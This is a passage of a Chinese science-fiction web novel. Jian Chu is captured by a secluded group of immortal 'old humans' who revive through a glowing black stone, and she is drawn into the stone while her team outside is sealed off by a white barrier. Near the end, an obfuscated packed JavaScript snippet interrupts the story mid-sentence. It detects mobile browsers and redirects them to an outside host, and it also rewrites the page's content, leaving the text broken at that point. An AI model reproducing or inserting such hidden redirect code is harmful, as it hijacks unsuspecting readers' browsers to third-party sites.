轻轻巧巧一句，仿佛和平时出任务没有任何区别。 因思禾注视着三人的背影，胸中总觉得堵着一口气：“万事小心。” 中间高挑的女性头也不回，只是挥手摆了摆，三人就消失在了天坑的边缘。 …… 这场雨下的时间有些长了。 不管怎么小心，雨势也不算小，多少还是会被淋到，这就导致简初身上的衣服几乎完全湿透了，阴冷的寒气顺着骨缝钻进去，让人控制不住打哆嗦。 头顶的阴云让气温变得很低，打下来的雨珠子都跟从冰箱里滚过似的，冷得惊人。 刚刚又有一波人经过，往之前打斗的地方赶去。简初抿抿唇，小心探头，趁机看清了之前从窗外掠过的黑影。 那是一个身材很瘦小的女性，看上去年龄不大，但有金属甲加持之后速度极快，如同一只自由的野鹰在空中飞翔。可仔细看却能发现，她只是不停在墙面和地面之间切换落脚点，不过是过于流畅的动作和轻巧到几乎落地无声的身法造成了这样的误会。 对方多少有点神出鬼没的意思，简初摸不清她的目的，只能更加小心提防着周围的动静。 “小心点，大人说要抓活的。” 又有人匆匆从门口经过，不过并没有人进这栋建筑探查。简初刚刚进门就发现这里的生活用品虽然看上去有些旧，但并没有灰尘，所以这栋建筑应该是有主人的。 也许因为是同伴的家，所以没有人会随意闯入，而它的主人此时也正忙碌，不会有心思回家看看。 算是钻了个空子，但……他们要抓自己，是想做什么？ 简初敛眉沉思，半晌终于下定决心。此刻四下无人，她试探着从建筑中走出来，仰头看向不远处的黑色巨塔。 直到像现在这样接近，才能意识到它究竟有多么高大，说是高耸入云也不为过。而好巧不巧，它又是那道屏障的最高点，这让人不得不思考两者之间的关系。 身后突然响起一道细微的磕碰声，简初猛然回头，却只看见那道迅捷的黑影从墙壁弹射而出，眨眼就冲到自己面前。 手刀狠狠劈在简初的后颈，带来瞬间的晕眩，但这并不足够让她失去意识，她 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正在这时，终于有人发现了这里的异常。简初微微松了口气，决定换个目标来演这场戏，可她的视线刚刚落在来人脸上，瞳孔就无法控制的紧缩。 这……和方才死掉的那个人有着完全相同的脸！ 双胞胎吗？ 现在不是想这些的时候，这男人一见到她，立刻就一拳挥了过来，简初只能硬着头皮接招。双方有来有往过了十几招，她终于找到一个合适的机会，“强行”接下了一记重拳。 随后倒飞而出，晕厥在地。 “打死了吗？”木琅匆匆跑过去，确认人还有气，才垮下肩膀，“大人说要活口，你下手太重了，木然。” 年轻人冷笑一声：“我已经很控制了，不然非把她杀了不可。” 说完，还用脚踹了一下地上人的屁股——踹其他位置可能都会造成意料之外的伤害，只有屁股，随便踹！ 简初：…… 好小子，记住你了。 她躺在地上装死，大脑疯狂转动。这个木然说话的声音也和刚刚的那人一样，世界上真的存在这种仿佛一个模子里刻出来的双胞胎吗？ 繁杂的思绪从脑中掠过，下一秒，简初就感觉自己的身体悬空，被什么人直接扛了起来，硬实的肩膀抵住她的腹部，胃酸都要呕出来了。 “木然，你动作轻点！” “嗤，有什么必要，反正这点伤又死不了。” 年轻人的嗤笑让木琅陷入短暂的沉默，她抿抿唇，再次开口：“还是轻点，要是把人弄醒了麻烦。” “醒了就再打一顿。”虽然嘴上是这么说，但木然的动作确实放轻了不少。 这女人很能打，他也不想节外生枝。 雨势终于转小，简初头顶冲着地，雨水直接顺着头发“滴滴答答”落在地上，就算她此刻睁开眼，也没有人能看见。 就是胃硌得慌，需要相当坚定的意志才能忍住不要挣扎。 不过，这算是达成目的了。 177. 无人区（79） 终于，漫长的颠簸过后，简初感觉自己被放在了地上，胃部终于有了喘息的机会。可不过两三秒，手脚就被人紧紧捆住，几乎没有动弹的余地。 “嘶，但她已经抢走了木羽的‘根基’，很容易就能挣开。”这声音是属于刚刚那个男人，但话里的含义却让简初后背一阵发凉。 如果木羽是之前被她反杀的袭击者，那所谓的“根基”应该就是指那神奇的银白色金属，可知道自己能驱使它的，应该只有……刚刚自杀的男人。 所以根本不是什么双胞胎，而是他……复活了？ 这个推论太过于惊世骇俗，简初好不容易才按捺住倒吸凉气的欲望。 死而复生，真的是存在的吗？ “噔噔噔！” 系统的音乐声毫无预兆地响起，让她的呼吸微不可察地重了一些。 在这个关头发布任务，难道是…… “恭喜你，发现了位于无人区最深处的秘密，这里聚居着数量稀少的旧人类，他们与世隔绝，甚至被死神遗忘，但你的到来却让死亡的阴影重新笼罩于此。” “更新任务状态：探索无人区的秘密并发现旧人类聚居地（已完成）。” “触发任务：处理异常源头。” “重要说明：请时刻保持足够的清醒。” 完成过这么多任务，简初已经意识到这些看上去不起眼的“重要说明”究竟有多重要，但它每次都在打哑谜，烦人得很。 按照任务的意思，确实是有什么原因，导致了这群人能够死而复生，但如果说是自己带来了死亡的阴影……根本毫无头绪啊！ 她究竟做了什么才成功杀死了木羽？难道是因为抢走了所谓的“根基”？ 那它们是如何出现的，这又是一个全新的问题。 身侧的脚步声并不多，简初可以分清木然和那女孩的脚步，但除了他们之外，这个屋子里还有别人。 有两个人刚刚走了几步，还有一个人站在原地没有动弹，却能听见有些粗重的呼吸声，感觉这人的肺似乎不是很好。 “木琅，你去通知其他人，让他们回家去吧。”一道苍老的声音响起，回应他的是那个年轻女孩。 这群人怎么都是一个姓，以前就是一族的人吗？ 可这样的话，他们好像并没有互相联系的科技手段，只能通过人工一个一个通知到位。怪不得那姑娘腿脚那么利索，看来是专门挑出来传信的。 这对简初来说是个好消息，只要她控制了那个女孩，剩下的人完全可以逐个击破，不用担心被有计划地围攻。 整个屋子里安静得很，眼前一片漆黑，似乎并没有什么明亮的光照。简初侧耳倾听细微的衣物摩挲声，确定这些人都不在自己附近，才小心翼翼把眼睛睁开一条缝。 确实如她所想，这里异常昏暗，只有几个燃烧的烛台在散发光辉，除此以外最亮的竟然是一块巨大的石头。它本身是黑黢黢、崎岖不平的，但不知道被什么力量切开，袒露着光滑的灰色截面。 星星点点的荧光正温柔地从那里散发出来。 呃，这东西看第一眼就明显不正常好吧，“异常的源头”会是它吗？ 不怪简初往这个方向联想，不管是谁，见到这一幕大概都会这么想，毕竟除此之外，这屋子里确实没什么反常的东西了。 因为其他什么都没有了。 她小心垂着眼帘，努力打量着这个角度能看到的所有人。那个叫木然的男人脸庞隐没在烛火的阴影中，正和一个矮小的老人轻声交谈。按道理周围环境这么安静，说话声应该很容易被捕捉到，但简初却开始出现耳鸣，只能尽量去辨认他们的谈话内容。 “大人，接下来我们要怎么做，如果杀了她，还能救回木羽吗？”男人语气急切，听上去和那个木羽关系不错。 “先不急，等她醒过来，我还有话要问。”那道苍老的声音慢慢悠悠的，手里似乎还在拨动什么东西，发出规律的弹响。 旁边站着两个中年人，但是他们从开始就一言不发，只是站在那里，似乎随时等待老人的驱使。 “看守她的工作，就先交给你和木琅。”老人继续说道，“我现在要请示一下神明的旨意，你们把她先带到隔壁，在门外等候。” 又来？！简初在心底哀叹。 因为“天空之眼”的神降事件，简初现在对“神明”此类的词汇异常敏感，沾上这两个字，板上钉钉的没什么好事。 下一秒，她又被扛在了肩膀上，“啪嗒啪嗒”几步之后，被极其粗鲁地丢在了地上，差点没忍住给翻身给这人两巴掌。 虐待，这绝对是虐待！ 大门重新合上，将一切躁动隔绝在外，木石深吸一口气，重新将视线投向眼前的巨石。 他也很想知道，如果献祭这女子的性命，能否换木羽回来，但遗憾的是他现在还不知道该怎么做，不能冒险地选择杀了她。 尽管自己可以和神明“交流”，但祂向来不会给予有关“不死”的任何旨意，也许这是此世的禁忌，不可随意议论，但现在就让人十分苦恼。 杀又杀不得，难不成得捏着鼻子养着她？ “恳求您，为我指引前进的方向……”老者低声呢喃着，眼底再次蒙上惨淡的白翳，手背的菱形图案微微闪光，却很快就熄灭了。 “果然，这种问题得不到回应啊。” 他低声叹息，终于算是死了这条心，半晌才将掌心的碎骨重新放回贴身的布袋里。 大门被人重新推开，他淡淡注视几人：“还把她关到里面来吧。” “大人！”木然把简初扛进去安置好，才匆匆开口，“有结果了吗？” 木石不愿意看他那双饱含期待的眼，但也只能无力地摇摇头：“没有，不过我会想办法的，她还没醒吗？” 见这老人要走过来，简初赶紧完全闭上眼，呼吸均匀，一副毫无所觉的样子。 “可能是我刚刚下手太重了，大人您去忙吧，我和木琅会看好她的。”尽管对这样的结果感到失落，但木然还是相当敬业。 老人将视线挪开，微微颔首：“那就交给你们了。” 尽管简初很想现在就睁开眼，看看这人到底要问自己什么，但她还是尽力忍住了。 在和对方交谈之前，她需要尽可能了解这里的情况，比如 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“我有机会去见见她吗？”中年女人问。 木琅摇摇头：“木然也在，我没法带你进去。” “这样啊，那就麻烦你跟她聊聊吧。”中年女人用那双平静温和的眼注视着不远处的黑色高塔，“这也许是我们唯一的机会。” “我不太明白，一直这样活着不是挺好的吗，虽然日子有点无聊，但是我们可以一直在一起。”木琅仰头，用那双清澈的眼看她，“难道你不愿意一直陪着我吗……母亲？” 中年女人愣了愣。 她已经很久没有听见过这个词了。木石从不允许他们以原先的关系互称，父母、伴侣、儿女，甚至是兄弟姐妹，都只剩下一个“同伴”来概括。 她是幸运的，可以与女儿相伴，但她也是不幸的，因为她的女人也要承受这样的苦痛，直到变得麻木。 他们身边永远只有彼此，没有失去，没有新生，时间在此地失去了意义。 “这话被听见，你会受罚的。”中年女人微微叹息，“有些事我会告诉你的，只不过不是现在。” 不懂的人哪里只有木琅一个，又或者大家并不是真的不懂，而是选择了接受现实，又或是沉迷于虚妄的“永生”，而忘记了自己的来处。 “好吧，那我先走了。”木琅没有流露出什么失望的表情，她早就习惯了和母亲如此交谈，记忆中朝对方撒娇的画面早就已经斑驳不清了。 可她为什么还要称呼“母亲”，连她自己也想不明白。 “木琅。”看着女儿离开的背影，中年女人突然轻声唤住她，“你还记得自己的名字吗？” “名字？”年轻女孩侧过头，眼里透着淡淡的茫然，脑海中的记忆飞逝，她艰难从泡影般的画面中找到曾经被呼唤的感觉。 “良……” “嘘，你记得就好，去吧。” 木琅深深注视了母亲一眼，什么都没有说，只是安静转过身，一步步踏进了黑塔，直到再也看不见。 178. 无人区（80） “滴滴，滴滴——” 看见手中的临时信号源开始正常运作，傅燃终于轻出了一口气。 挑了个雨水浇不到的岩石缝隙安置好设备，三人围成一圈，不断尝试搜寻信号，但可惜的是，虽然能够查找到信号源，但并不能跟因思禾取得联系。 “也许跟磁场有关系，先按照计划继续安装信号源，说不定什么时候就有用了。”傅遥说着，手头又编辑了一条信息尝试发出。 话虽如此，但系人都知道这只是自我安慰，连第一个信号源都不能发挥作用，往里会受到更强的磁场干扰，希望就更渺茫了。 “我刚刚发现了一只异种，要收集样本吗？”林愿终于放弃搜索信号，不再浪费时间，“如果不能联系因博士，我们就加快速度，把外围的情况摸清，然后早点回去。” 一来防止外头的人担心，二来也可以及时更新情报。 傅遥沉吟片刻，点头同意：“那就这样吧，先去采集异种的样本，然后在外围建筑群探索一下，早点回去整备，回头再来。” 这天坑里一切都是未知的，单单从之前的异种人来看，他们也有着不俗的战斗力，加上斯塔集团遗落的武器和工具，肯定要做好周全的准备。 “……灰烬，发什么呆呢？”见年轻人一直没有回答，傅遥伸手拍了拍他的肩膀，“是看见什么了吗？” 傅燃收回远眺的视线，微微摇头：“没什么。” 雨滴把额前的碎发拍打到低垂，看上去不如以前那么精神，他下意识摸了摸左胸，心脏正在“砰砰”跳着，不知道为什么，总感觉有些不安。 三人达成一致，列成简易的防御队形，沿着林愿刚刚看见异种的方向而去。果不其然，还没走出多远，就在嶙峋的乱石之后发现了一只单独行动的异种。 这是一只站立着的高大“蜥蜴”，目测至少有三米，脊背的骨刺倒竖着，身上炸开的鳞片被细雨冲洗得干干净净。 它正左右摇摆着脑袋，不知道在寻找什么。 傅燃拧眉，伸手阻止了林愿想要攻击的架势：“等一下，先看看它要做什么。” 他们一路走来，并没有发现任何可以被异种捕食的猎物。尽管异种可以将更弱小的异种作为食物，但这里异种密度很低，它完全没必要特地跑进来觅食。 难道有什么吸引了它？ 傅遥显然也想到了这一层，她小心举起手，露出终端上的摄像头。异种没有发现异常，依旧昂着脑袋左右晃晃，紧接着朝某个方向奔去。 “跟上！” 傅遥打了个手势，小队如同隐秘的急行军，无声在乱石滩上前行，没走多远，前方的异种就突然停下，继续重复着之前的动作。 “这到底是在干嘛？”傅遥紧盯着蹙起眉头，“它的嗅觉很灵敏吗？可是也没发现我们啊？” 三人和异种的距离并不算远，如果它真的在靠嗅觉寻找什么，那肯定不会完全察觉不到他们的跟随。这么看来，这只异种更像是保留了某种习性，又或者它“闻到”的并不是气味，而是别的什么。 没有那么多时间一直观察，最简单的方法就是——杀了它，然后把脑袋带回去研究。 三人交换了眼神，迅速达成一致。 “嗖！” 林愿最先举手，一道耀眼的激光从指尖射出，眨眼在鳞片上迸溅出火花，焦臭伴随着“滋滋”的灼烧声蔓延开来，瞬间吸引了异种的注意力。它怒吼一声，前爪落地趴在地上，左右踩踏了两脚，便如同离弦之箭猛冲了过来。 反应速度很快，防御不低，而且力气看上去也很大，一脚下去，被震落的碎石块都快被踩成齑粉。 傅遥抽出怀间的长刀，手腕一转就要使用异能。 “等等傅队长，不要用异能！”林愿匆忙开口，她此时脸色相当难看，嘴唇都失去了血色，“异能消耗的速度太快了，这里有问题！” 尽管没有完全明白她的意思，但语气中的急切骗不了人，傅遥手下一转直接举刀横切，狠狠砍在异种炸开的鳞片上，发出刺耳的金属摩擦声。 “皮这么厚？” 傅燃沉默不语，反手抽出腿上绑着的短匕，回身猛踏一旁的巨石，借着腾空时的重力，猛地向下戳刺，匕首顺着鳞片之间没有完全闭合的的缝隙，顺利刺进半截刀刃。 正常的防御模式下，它的鳞片应当是层叠着闭合在一起的，但此时，蜥蜴怪的鳞片却意外地炸开着，露出一丝丝柔软的皮肉。 看上去好像有什么毛病？ 林愿举枪，“砰砰”几声清空弹匣，一枚子弹顺利射入了异种右肩的鳞片间隙，而还有一枚更是直接让异种的眼睛迸溅出一串血花。 “漂亮！”傅遥毫不吝啬夸赞，趁着异种仰天狂怒之际，翻身踩上它的脊背。矫健的身姿沿着嶙峋的巨石不断爬升，找准时机回首一拳，直接击中傅燃留在它身上的刀柄，将露在外面的半截短匕完全按了下去！ 傅燃乘胜追击，接过傅遥从空中抛来的长刀，一个异常优雅的转身，整个人“钻进”了站立起来的异种的怀抱。 长刀穿胸而过，一点带血的刀尖从背面的鳞缝中探出。垂死的剧痛让异种胡乱扫起尾巴，击碎了傅遥站立着的巨石。两人迅速远离，警惕地看着它倒在了满天的粉尘之中。 “呼，比预期要费劲。”傅遥走过去，弯腰拔出自己的刀，又将异种背上的短匕抽出来，丢给了傅燃。 “谢谢。”傅燃接住匕首，随手甩了甩。 烟尘逐渐散去，露出地上倒着的异种的面目，它的鳞片已经失去光泽，也不再像之前一样炸起。 “真奇怪。”傅遥清清嗓子，转头看向身后，“林愿，你刚刚说‘不要用异能’是什么意思？” 明眼人都能看出对方刺客面色很不好，但还是得具体问清楚。 林愿脚步有些虚浮：“我刚刚用了异能，几乎是瞬间就被抽干了，消耗高到离谱，我建议不要轻易尝试。” 傅遥并不觉得她在撒谎：“那你现在还能继续吗？” 现在回头还太早，但她的状态也需要有保证。 “没关系，不会拖后腿的，我的枪法也很不错。”林愿罕见露出了一丝微笑。 “不要逞强，有问题就说。”傅遥向来不会拖泥带水，“赶紧采集样本，按计划加快速度，早点回去。” 不过两三分钟，几人就把样本装好，重新出发。不过接下来的 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“怎么，难道你们想严刑逼供？我饿着肚子可是什么都不会告诉你们的！”简初开始扮演一个有些虚张声势的新人设，“吃完跟你聊，成不？” 话音刚落，面前两人就露出值得深思的为难表情。 不是，真打算饿着她？ “没有这种东西。”木然在她面前蹲下，恶劣地笑了笑，“你以为还能跟我们谈条件吗？” 简初直直盯着他，出乎意料地突然笑了：“反正你也杀不了我，为什么不能谈条件呢？” “你！”木然心中大骇。 这话的意思再明确不过，对方不仅知道他们的秘密，甚至真的成功继承了木羽的“根基”。 她现在和他们一样，死不了了？！ 看见他的表情，简初就知道自己这一步走对了，她佯装小人得志，看上去相当欠揍。 木然感觉自己的拳头很痒。 “你先去找大人来吧，我在这看着。”木琅开口阻止，“不要意气用事。” 整个屋子的气氛都沉重起来，木然目眦欲裂，终于恨恨放下拳头：“看着她，我马上回来。” 终于房间内只剩下两个人，简初仰着脑袋和她对视。 “你在撒谎。”木琅歪歪脑袋，平静开口，“你要是真的和我们一样，就不需要吃饭。” “所以，你现在真的饿了吗？” 简初心下一震。 糟糕，万万没想到这里会有破绽，可她刚刚为什么不当着木然的面直接戳破。 简初故作镇定地挑挑眉：“真的假的，你过几天不就知道了吗？” 这副胸有成竹的模样让木琅有些不确定了，但她不想在这个话题上多做纠结。 “你是怎么杀死木羽的？” 她换了个话题，这也让简初心下松了口气：“怎么，这算是已经开始盘问了？” “只是怕你伤害到我。”木琅的眼神微微游移，为了掩饰心虚，还状似自然地踱了两步。 小动作还挺多。简初勾勾唇角。 “那你可得小心，说不定我待会就动手了呢。” 179. 无人区（81） 木琅刚要开口，就听见外头传来匆匆的脚步声，两人不约而同闭上嘴看了过去。 “吱呀——” 大门被人推开，出现的还是那几张面孔，简初这次仔细打量了他们，除了木然之外，两个中年人几乎寸步不离地跟着那个被称作“大人”的老者，看样子是专门照顾或是保护他的。 可他们明明都不会死去，有必要这样做吗？ 抱着这样的疑问，简初的视线落在那老人身上。他身上穿着和其他人一样的灰色罩衫，但腰间多挂了半圈大小不一的布袋子，里面装着东西，沉沉坠着。他走过来时步履蹒跚，和苍老的外表十分相符，但和简初的预想不同。 本以为他们的永生象征着永远鲜活的□□，但现在看来却并不是这样。 他们的生命在某个瞬间定格，不管怎么死而复生，都只能拥有原本的躯体。 “东西放哪儿了？”老者径直走过来，上下打量着她。 简初抬抬眼皮，一眼就看到如枯树皮的手背上嵌着格格不入的银色图案，是菱形的，但是……她微微眯起眼打量其他人，意料之中在几人手背上都看到了类似的图案，只是形状各不相同。 菱形、圆形、三角……这是有什么含义吗？ “木然。”老人微微点头，年轻人立刻走上前，粗鲁地推着简初的肩膀把她摁倒在地，露出被绑在后背的手。 可一眼看上去手背白白净净，什么都没有。 木然大惊：“怎么可能，没有？！” “什么？”老者立刻皱起眉头，让他本就布满皱纹的脸这会更是纠结在一起。 苍老冰凉的手握住简初的手腕，左右转动了两下，终于在手腕内侧发现了银色的痕迹。 “这……为什么和我们不太一样？”木然讷讷道，“她真的也获得不死的能力了吗？” 如果是这样，还有机会用她把木羽换回来吗？ 老者淡淡应了一声：“毕竟不是最初的受赐者，和我们不同也正常。” 最初的受赐者，指的是他们自己吗？ 简初迅速收集所有可能有用的情报，眼珠微微一转，就落在一言不发的木琅身上。从刚刚开始，这小姑娘似乎就在努力降低自己的存在感。 “你是从哪里知道我们的，又是怎么杀死木羽的。”老者的眼皮耷拉着，有些浑浊的眼珠却射出淡淡精光，“你已经获得力量，神明会看见你，所以不要尝试欺骗。虽然你不会死，但是我们有办法让你生不如死。” “你永远无法得到超脱，你会看着自己血液流尽，气息消失，可睁开眼却依旧要面对无尽的折磨。” 对方的脸色没有一丝一毫开玩笑的成分，但比起他的威胁，简初显然对“神明会看见你”这句话有着更明显的反应。 上次听到这句话的时候，可没发生什么好事啊。 “我说不知道，你会信吗？” 不等老者有所反应，一旁的木然就大声斥骂：“你给我老实点，事到如今就不要挣扎了！” 啧，说实话，要是立场互换，简初自己也不会信这种话。 她索性两腿伸直，向后仰靠在岩壁上，一副摆烂的模样：“要不你们问问那个神咧，看看我说谎没？” “你这个！” “木然！退下！”那老人开口阻止了他，眼神和简初的直直碰撞，“看来你是真不怕。” 这是无所畏惧，还是有所依仗？ “我没说谎，当然不怕。”简初歪歪头，“说到底，如果不是那个人一直追杀我，我也不会对他动手。” “你还挺会倒打一耙的。”老人嘴角向下压了压，“你拿着他的东西，不找你找谁？” “我拿了就是我抢的吗？说不定是捡来的呢？”简初的表情有点欠揍，这也是她的目的，惹急了对方，也许口不择言下会暴露更多的信息。 “而且，你们铁了心当我是强盗，怎么，现在希望强盗忏悔吗？” 这句话落下，屋内的气氛立刻变得剑拔弩张，木琅微微垂下眼皮，有些不安地舔了舔嘴唇。 “你！”木然眼睛充血，银白金属瞬间覆盖他的身躯，他反手拔出从简初身上拿回的激光刀，眨眼就要抹向她的脖子。 老人眉头狠狠一皱：“木琅，阻止他！” 可那怕木琅速度再快，甚至木石还没开口，她就已经往前冲，也来不及阻止木然。 他离得太近了，几乎就在简初的身侧，拔刀抹脖子只不过是秒秒钟的事情。 “不要！”木琅瞳孔骤缩，指尖却只能堪堪擦过年轻人的手臂。 不管这个凶手究竟会不会死而复生，他们现在都不能冒这个险，如果她死了，有关死亡的秘密就真的永不见天日了。 电光石火之间，银白之色攀上简初的指尖，拘束手腕的绳索瞬间崩裂，她伸手一撩，就握住了近在眼前的短匕。 那是木琅常用的武器，手工磨出来的石质匕首。 “借我用用。”简初弯弯眼角，下一秒肩胛拱起，扭腰回身，反手捅进了年轻人的额角。 木然根本反应不过来，只听见耳边很近很近的地方传来“噗嗤”一声，锐利的冷兵器毫无阻碍地戳进太阳穴，甚至在里面搅动了两下。 疼痛迟钝蔓延开来，但不过一个呼吸，意识就彻底抽离。 混乱的记忆突然从四面八方涌来，如同海潮一般冲洗着他的大脑，看起来毫无关联的碎片化作光影，落进一望无尽的深海，转而恢复平静。 灵魂看见了遥远的白光，下意识被牵引着不断靠近，一边前行一边拾起属于他的记忆。 愤怒与痛苦油然而生，他迈出最后一步，重重踏在地上，转头怒视角落的人。 简初看见他从石头里蹦出来，几乎控制不住抽搐的眼角。 头顶海潮般的嗡鸣层层叠叠，盘旋不散，如同丧钟宣誓他的死亡，同时却又启示他的新生。 原来钟声是这个意思。 从他死去化为尘土，到他重新出现，前后总共不过十秒钟，而简初很确定这里没有人执行什么奇怪的仪式，也就是说这一切都是“全自动”的。 只要死去，立刻就能复活，就像是在游戏中死亡被传回了出生地。 这石头果然不对！ 简初一手捏着刚刚控住的木琅，脚下往前挪了半步，眼神紧紧锁定在从石头中走出的年轻人的脸。 他的神色十分耐人寻味，半张脸刚冒出来时，还带着显而易见的迷茫和挣扎，连眉头都是紧紧皱在 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整个屋子里没有人轻举妄动，直到门外传来一声模糊的呼喊。 “大人！大人！” 简初的眉头下意识抽动了一下。 “有人侵入领地，需要召集人手处理吗？” 又有人？可这时会来这里的人，除了因思禾他们几乎不作他想。 瞬间，所有人的注意力都被吸引，这几乎是动手的最好时机。 简初毫不犹豫，猛地将木琅推开，掌心的匕首转了一朵刀花，旋即被反握在掌心。 一道迅捷的影从几人中间掠过，三步并作两步冲向那块黑色的巨石。所有画面在简初眼中慢放，黑黢黢的石头表皮反射出令人毛骨悚然的油润之色，一刀上去，却仿佛陷入了软烂的沼泽。 “呃！” 简初试图把刀抽出来，却感受到莫大的阻力，石质匕首如同融化一样，转眼被吸入深渊，融进了那块巨石之中，可这样的吸力并没有因此消失，而是愈演愈烈。 什么玩意儿啊！ 所有人脸上都是慌张和震惊，似乎这场面完全超出他们的意料。 巨石的截面爆发出前所未有的耀眼白光，好像要将整个屋子里的一切照到融化，简初伸手挡在眼前，试图看清什么，但几乎没有任何作用。 不，还是能看到…… 好几个亮白的东西从石面里伸了出来，但是它们的光太亮了，让轮廓变得十分模糊，只能依稀看出是像触手一样的柔软肢体。 直到它们拥上来，握住简初的手臂、脚腕，甚至托起她的后脑，简初才意识到这些东西……是手。 柔若无骨的手，触碰到肌肤是凉凉的，就像石头一样。但即便它们如此温柔，力道却不容忽视。 更多的手从截面里探了出来，又握住她的手腕和小腿。 简初觉得自己好像挣扎了许久，但实际上，根本没有着力点的她几乎是瞬间就被扯过去，丝滑坠入了石面之中。 白光逐渐消散，木石缓缓放下挡在眼前的手臂，缓慢适应眼前的昏暗。 “大人……” 他听见颤抖的声音。 “那人消失了。” 180. 镜中花（1） “嗡——” 巨大的嗡鸣声陡然乍响，一声叠过一声，在细雨中盘旋不散。 “又是这个声音？”傅遥抬起头，眯着眼望向不远处高耸的巨塔，“果然，是那里传来的。” 他们现在离得很近，这嗡鸣好像震到了五脏六腑，让整个人都有些不适。 “第三次了。”加上昨夜只有他听见的声音，一共响过三次，但就算现在弄清了它的来源，也依旧不明白其中的含义。 傅遥看了眼终端：“现在不是整点，也不是特殊的时间，它为什么会响？” 没指望有人现在能解答这个问题，她举起终端拍下照片，又记录了时间，才长出了一口气。 走到这个位置应该也差不多了，外围的建筑群一个个看过，没有人类生活的痕迹，想来都聚集在更深处的位置，而现在他们不适宜继续深入。 “差不多准备回去吧。” 如果信号源可以正常使用，他们本不需要提前回程，甚至完全可以找个地方躲着等待后续的支援，但现在双方依旧无法联系，只能回头商议。 “把痕迹打扫一下，最好不要……” 她话还没说完，就感受到背后一阵莫名的窥伺。 “谁？”傅燃压低嗓音看过去，就见到不远处的建筑后有一个鬼鬼祟祟的人影，见他们看过来，立刻转头就跑，脚下生风窜向那座黑色巨塔。 傅遥一把拉住他：“不能追，那里我们不清楚情况，如果又埋伏就糟了。” 而且这个距离，那道人影已经冲进了黑塔的入口了。 她压下内心的焦躁，立刻决断：“我们先回去！” 傅燃的耳边却根本听不见她的声音，颈侧的动脉突突跳着，脉搏声清晰地传来，带着令人不安的预兆越跳越快。 “走了！”傅遥一把把人拉过，三人也不在意躲藏，直接沿着最近的路线往回跑。 可就在这时，地面传来轻微的震颤，紧接着是地动天摇。 林愿一脚踏空，赶紧蜷缩着在地上滚了一圈，才勉强平稳落地。 剧烈的晃动伴随着一声金属闷响席卷而至。周围建筑落下一点碎石，簌簌地坠落在地，但万幸的是并没有出现大面积的坍塌。 这阵晃动持续了大概五秒，很快恢复平静。 “这是地震了？”傅遥稳住重心，“感觉不妙，我们快点撤退。” 无人区已经几十年没有监测到地震了，这异象也许意味着有什么正在发生变化，而未知此时就象征着危险。 “林愿？！赶紧起来，我们快走啊！”傅遥脸上的焦躁已经压不住了，这两个人是怎么回事，怎么一个比一个像木头。 “傅队长……”林愿却仰着头，一动不动盯着天空，“那是什么东西？” 她的脸上一片空白，玻璃珠般的眼中倒映出灰白色的天空…… 以及其中缓缓蔓延的白翳。 傅遥豁然回头。 白茫茫的，像是雾气的东西从黑塔的顶端冒出来，它们在空中虬结、鼓动，如同拥有生命一样，纠缠着迅速蔓延，眨眼间已经接近他们的头顶。 浓重的压迫感涌上心头，傅燃感觉心脏的疼痛变得更加明显。 这一次，他们没人说话，却不约而同拔腿向来处跑去，试图抢在它的前面，但这“雾气”的速度实在太快了，几人奔跑着，却只能眼睁睁看着它越过头顶，最终与远处的地平线相接。 此时，天坑之外。 “因博士！突然检测到异常的能量波动，您快来看看！”一直在监视数据的小王突然扯着脖子大喊。有点资历的研究员都去做分析了，他资历最浅，自然而然承担了这枯燥的工作。 只是他的惊呼还是比空中的异象来晚了一步。 不过几个呼吸，仪器就开始疯狂警报，“哔哔哔”的噪音不断回响，吵得人脑瓜子生疼，但现在没人在意，所有的目光都被不断弥散的白翳吸引了。 “那是……活物吗？”林颀喃喃道。 从这么远的距离看去，那一团团“雾气”中好像有什么在扭曲蠕动，如同煮烂了的面条难舍难分。 因思禾深吸一口气：“先往后撤！” “因博士？！傅队长他们还在里面呢！”莫景惊异。 不过她的问题并没有得到回答，大家手忙脚乱拆下重要物件，火速开车往回走，后视镜里那些白翳还在不断追赶、下落…… 等等，下落？！ “停车！”因思禾脑中闪过什么，车辆还没停稳，就直接跳了下来。 “因博士！太危险了！” 不远处还有没来得及收拾的篷布，乱七八糟坨在地上，那“白雾”就在前方不远处竖成了一堵墙。 一个巨大的白色半圆，将天坑完整笼罩在内。 “这……” 众人面面相觑，说不出话来。 因思禾深吸一口气，一步步走到近前，才从地上捡起一块石头扔了过去。 “嗡——” 石块砸在白幕上，发出奇异的嗡鸣悬浮在了空中，接着以极其缓慢的速度被弹开，直到掉在地上，才迅速滚远了。 林颀也凑了过来：“这是改变了重力，还是影响了空间曲率？” “恐怕都不是。”因思禾艰难动了动嘴皮子，“看看刚刚的数据。” 越野车重新驶回原处，小王忙不迭把数据调出来：“因博士，您看！” 仪器上的图谱直观到令人毛骨悚然。原本平稳的数值在某一刻突然陡峭地拔高，短短半秒之内就突破了临限值，之后一直保持着如此高的水准，直到这道屏障形成，所有读数全部归零。 目前为止，所有仪器都无法检测到内部，甚至整个被罩住的范围都显示为“空”，就好像这块空间被某种存在，用一柄汤匙，像挖蛋糕一样直接取走了。 因思禾感觉头有点发晕，脚下踉跄了几步。 傅遥他们……还在里面。 …… 耀眼的白光之后，周围一片黑暗，不知道过了多久才出现一条条的光带，它们往同一个方向汇聚而去，形成一条漫长的通道，而尽头则是散发着光芒的出口。 “呃，不！” 简初终于能发出声音，精神力不再受到莫名的限制，瞬间随着她的不安和挣扎喷涌而出。 “滴滴！滴滴！” 耳边响起剧烈的警报声，然后是错乱匆忙的脚步。 “同学！同学！你没事吧！” 简初感觉自己躺着的平台微微震动，紧接着有谁的手触碰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062033|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，似乎想把她搀扶起来。这几只手的温度和此前截然不同，是温暖且让人安心的。 沉重的眼皮终于掀开，视力慢慢恢复，简初见到两张近在咫尺的陌生面孔。 “谢天谢地，你没事！”其中一位女性立刻长舒了一口气，又伸出手摸了摸她的额头，“有哪里不舒服吗，头疼不疼？” 简初这会根本搞不清楚状况，只能摇摇头，趁机打量周围的环境。 